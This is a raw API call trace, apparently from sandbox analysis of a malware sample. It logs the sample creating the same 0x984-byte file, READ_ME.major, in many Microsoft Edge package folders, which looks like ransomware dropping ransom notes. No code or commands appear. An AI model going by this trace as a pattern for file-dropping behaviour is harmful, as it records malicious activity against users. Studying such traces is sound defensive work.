lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.138] CloseHandle (hObject=0x13e8) returned 1 [0210.138] SetLastError (dwErrCode=0x0) [0210.138] GetLastError () returned 0x0 [0210.138] SetLastError (dwErrCode=0x0) [0210.138] GetLastError () returned 0x0 [0210.138] SetLastError (dwErrCode=0x0) [0210.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656970 [0210.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656998 [0210.138] SetLastError (dwErrCode=0x0) [0210.138] GetLastError () returned 0x0 [0210.138] SetLastError (dwErrCode=0x0) [0210.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0210.138] SetLastError (dwErrCode=0x0) [0210.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.139] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!006\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e8 [0210.139] WriteFile (in: hFile=0x13e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.140] CloseHandle (hObject=0x13e8) returned 1 [0210.140] SetLastError (dwErrCode=0x0) [0210.140] GetLastError () returned 0x0 [0210.140] SetLastError (dwErrCode=0x0) [0210.140] GetLastError () returned 0x0 [0210.140] SetLastError (dwErrCode=0x0) [0210.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6569e8 [0210.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a60 [0210.140] SetLastError (dwErrCode=0x0) [0210.140] GetLastError () returned 0x0 [0210.141] SetLastError (dwErrCode=0x0) [0210.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0210.141] SetLastError (dwErrCode=0x0) [0210.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.141] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!006\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e8 [0210.142] WriteFile (in: hFile=0x13e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.143] CloseHandle (hObject=0x13e8) returned 1 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] GetLastError () returned 0x0 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b28 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] GetLastError () returned 0x0 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] GetLastError () returned 0x0 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] GetLastError () returned 0x0 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] GetLastError () returned 0x0 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656998 [0210.143] SetLastError (dwErrCode=0x0) [0210.143] GetLastError () returned 0x0 [0210.144] SetLastError (dwErrCode=0x0) [0210.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0210.144] SetLastError (dwErrCode=0x0) [0210.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0210.144] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!006\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e8 [0210.144] WriteFile (in: hFile=0x13e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.145] CloseHandle (hObject=0x13e8) returned 1 [0210.146] SetLastError (dwErrCode=0x12) [0210.146] GetLastError () returned 0x12 [0210.146] SetLastError (dwErrCode=0x12) [0210.146] GetLastError () returned 0x12 [0210.146] SetLastError (dwErrCode=0x12) [0210.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0210.146] SetLastError (dwErrCode=0x12) [0210.146] GetLastError () returned 0x12 [0210.146] SetLastError (dwErrCode=0x12) [0210.146] GetLastError () returned 0x12 [0210.146] SetLastError (dwErrCode=0x12) [0210.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0210.147] SetLastError (dwErrCode=0x12) [0210.147] GetLastError () returned 0x12 [0210.147] SetLastError (dwErrCode=0x12) [0210.147] GetLastError () returned 0x12 [0210.147] SetLastError (dwErrCode=0x12) [0210.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6569e8 [0210.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a60 [0210.147] SetLastError (dwErrCode=0x12) [0210.147] GetLastError () returned 0x12 [0210.147] SetLastError (dwErrCode=0x12) [0210.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0210.147] SetLastError (dwErrCode=0x12) [0210.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e0 [0210.149] WriteFile (in: hFile=0x13e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.150] CloseHandle (hObject=0x13e0) returned 1 [0210.150] SetLastError (dwErrCode=0x0) [0210.150] GetLastError () returned 0x0 [0210.150] SetLastError (dwErrCode=0x0) [0210.150] GetLastError () returned 0x0 [0210.150] SetLastError (dwErrCode=0x0) [0210.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6569e8 [0210.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ad8 [0210.150] SetLastError (dwErrCode=0x0) [0210.150] GetLastError () returned 0x0 [0210.150] SetLastError (dwErrCode=0x0) [0210.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0210.151] SetLastError (dwErrCode=0x0) [0210.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.151] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e0 [0210.151] WriteFile (in: hFile=0x13e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.153] CloseHandle (hObject=0x13e0) returned 1 [0210.153] SetLastError (dwErrCode=0x0) [0210.153] GetLastError () returned 0x0 [0210.153] SetLastError (dwErrCode=0x0) [0210.153] GetLastError () returned 0x0 [0210.153] SetLastError (dwErrCode=0x0) [0210.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6569e8 [0210.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ad8 [0210.153] SetLastError (dwErrCode=0x0) [0210.153] GetLastError () returned 0x0 [0210.153] SetLastError (dwErrCode=0x0) [0210.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0210.153] SetLastError (dwErrCode=0x0) [0210.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0210.153] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e0 [0210.165] WriteFile (in: hFile=0x13e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.166] CloseHandle (hObject=0x13e0) returned 1 [0210.166] SetLastError (dwErrCode=0x0) [0210.166] GetLastError () returned 0x0 [0210.166] SetLastError (dwErrCode=0x0) [0210.166] GetLastError () returned 0x0 [0210.166] SetLastError (dwErrCode=0x0) [0210.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ad8 [0210.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656bc8 [0210.167] SetLastError (dwErrCode=0x0) [0210.167] GetLastError () returned 0x0 [0210.167] SetLastError (dwErrCode=0x0) [0210.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0210.167] SetLastError (dwErrCode=0x0) [0210.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.167] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e0 [0210.168] WriteFile (in: hFile=0x13e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.169] CloseHandle (hObject=0x13e0) returned 1 [0210.169] SetLastError (dwErrCode=0x0) [0210.169] GetLastError () returned 0x0 [0210.169] SetLastError (dwErrCode=0x0) [0210.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0210.169] SetLastError (dwErrCode=0x0) [0210.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b78 [0210.169] SetLastError (dwErrCode=0x0) [0210.169] GetLastError () returned 0x0 [0210.169] SetLastError (dwErrCode=0x0) [0210.169] GetLastError () returned 0x0 [0210.170] SetLastError (dwErrCode=0x0) [0210.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.170] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e0 [0210.171] WriteFile (in: hFile=0x13e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.172] CloseHandle (hObject=0x13e0) returned 1 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] GetLastError () returned 0x0 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] GetLastError () returned 0x0 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] GetLastError () returned 0x0 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec60 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] GetLastError () returned 0x0 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] GetLastError () returned 0x0 [0210.173] SetLastError (dwErrCode=0x0) [0210.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656bc8 [0210.174] SetLastError (dwErrCode=0x0) [0210.174] GetLastError () returned 0x0 [0210.174] SetLastError (dwErrCode=0x0) [0210.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0210.174] SetLastError (dwErrCode=0x0) [0210.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0210.174] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13e0 [0210.175] WriteFile (in: hFile=0x13e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.176] CloseHandle (hObject=0x13e0) returned 1 [0210.176] SetLastError (dwErrCode=0x12) [0210.176] GetLastError () returned 0x12 [0210.176] SetLastError (dwErrCode=0x12) [0210.176] GetLastError () returned 0x12 [0210.176] SetLastError (dwErrCode=0x12) [0210.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be2c0 [0210.177] SetLastError (dwErrCode=0x12) [0210.177] GetLastError () returned 0x12 [0210.177] SetLastError (dwErrCode=0x12) [0210.177] GetLastError () returned 0x12 [0210.177] SetLastError (dwErrCode=0x12) [0210.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be528 [0210.177] SetLastError (dwErrCode=0x12) [0210.177] GetLastError () returned 0x12 [0210.177] SetLastError (dwErrCode=0x12) [0210.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0210.177] SetLastError (dwErrCode=0x12) [0210.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.177] SetLastError (dwErrCode=0x12) [0210.177] GetLastError () returned 0x12 [0210.178] SetLastError (dwErrCode=0x12) [0210.178] GetLastError () returned 0x12 [0210.178] SetLastError (dwErrCode=0x12) [0210.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0210.178] SetLastError (dwErrCode=0x12) [0210.178] GetLastError () returned 0x12 [0210.178] SetLastError (dwErrCode=0x12) [0210.178] GetLastError () returned 0x12 [0210.178] SetLastError (dwErrCode=0x12) [0210.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be2c0 [0210.178] SetLastError (dwErrCode=0x12) [0210.178] GetLastError () returned 0x12 [0210.178] SetLastError (dwErrCode=0x12) [0210.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0210.178] SetLastError (dwErrCode=0x12) [0210.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.179] SetLastError (dwErrCode=0x12) [0210.179] GetLastError () returned 0x12 [0210.179] SetLastError (dwErrCode=0x12) [0210.179] GetLastError () returned 0x12 [0210.179] SetLastError (dwErrCode=0x12) [0210.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be7e8 [0210.179] SetLastError (dwErrCode=0x12) [0210.179] GetLastError () returned 0x12 [0210.179] SetLastError (dwErrCode=0x12) [0210.179] GetLastError () returned 0x12 [0210.179] SetLastError (dwErrCode=0x12) [0210.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0210.179] SetLastError (dwErrCode=0x12) [0210.180] GetLastError () returned 0x12 [0210.180] SetLastError (dwErrCode=0x12) [0210.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0210.180] SetLastError (dwErrCode=0x12) [0210.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.180] SetLastError (dwErrCode=0x12) [0210.180] GetLastError () returned 0x12 [0210.180] SetLastError (dwErrCode=0x12) [0210.180] GetLastError () returned 0x12 [0210.180] SetLastError (dwErrCode=0x12) [0210.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be7e8 [0210.180] SetLastError (dwErrCode=0x12) [0210.180] GetLastError () returned 0x12 [0210.180] SetLastError (dwErrCode=0x12) [0210.181] GetLastError () returned 0x12 [0210.181] SetLastError (dwErrCode=0x12) [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f2ed58 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2ed58 | out: hHeap=0x570000) returned 1 [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656b00 | out: hHeap=0x570000) returned 1 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657b28 | out: hHeap=0x570000) returned 1 [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0210.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657fd8 [0210.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0210.181] GetLastError () returned 0x12 [0210.181] SetLastError (dwErrCode=0x12) [0210.181] GetLastError () returned 0x12 [0210.182] SetLastError (dwErrCode=0x12) [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0210.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657fd8 | out: hHeap=0x570000) returned 1 [0210.182] GetLastError () returned 0x12 [0210.182] SetLastError (dwErrCode=0x12) [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0210.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0210.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d4b0 [0210.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6575b0 [0210.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0210.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0210.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6575b0 | out: hHeap=0x570000) returned 1 [0210.183] GetLastError () returned 0x12 [0210.183] SetLastError (dwErrCode=0x12) [0210.183] GetLastError () returned 0x12 [0210.183] SetLastError (dwErrCode=0x12) [0210.183] GetLastError () returned 0x12 [0210.183] SetLastError (dwErrCode=0x12) [0210.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660750 [0210.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\bingpagedatacache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660750 | out: hHeap=0x570000) returned 1 [0210.184] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.185] CloseHandle (hObject=0x16e4) returned 1 [0210.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0210.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662b58 | out: hHeap=0x570000) returned 1 [0210.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0210.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0210.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0210.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0210.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657fd8 [0210.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0210.186] GetLastError () returned 0x0 [0210.186] SetLastError (dwErrCode=0x0) [0210.186] GetLastError () returned 0x0 [0210.186] SetLastError (dwErrCode=0x0) [0210.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0210.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657fd8 | out: hHeap=0x570000) returned 1 [0210.186] GetLastError () returned 0x0 [0210.187] SetLastError (dwErrCode=0x0) [0210.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668fb0 